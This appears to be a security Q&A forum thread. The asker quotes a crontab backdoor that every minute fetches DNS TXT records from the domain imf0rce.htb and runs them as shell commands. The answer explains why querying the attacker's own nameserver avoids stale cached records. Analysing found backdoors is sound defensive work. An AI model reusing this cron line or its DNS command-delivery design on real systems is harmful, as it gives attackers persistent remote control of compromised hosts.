2

I found this backdoor in a crontab:

* * * * * /bin/sh -c "sh -c $(dig imf0rce.htb TXT +short @ns.imf0rce.htb)"

And if i understood correctly, it queries all the TXT records in the domain imf0rce.htb and then executes them as shell commands.

But i was wondering if the @ns.imf0rce.htb is necessary? Could you use ie @8.8.8.8 and get the same result?

Improve this question

1 Answer 1

Reset to default
2

The problem with querying another DNS server (such as 8.8.8.8) is that DNS servers usually cache responses for a period of time to help improve performance.

In theory you can prevent this by setting the TTL on the records very low (or to zero) - but not all servers will respect the TTL, so they might cache it anyway.

By querying the attacker's nameserver directly, you guarantee that you're getting the latest value for the TXT record, and avoid the risk of getting a stale cached response instead.

However, the downside is that it's more likely to be blocked by outbound network filtering.

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .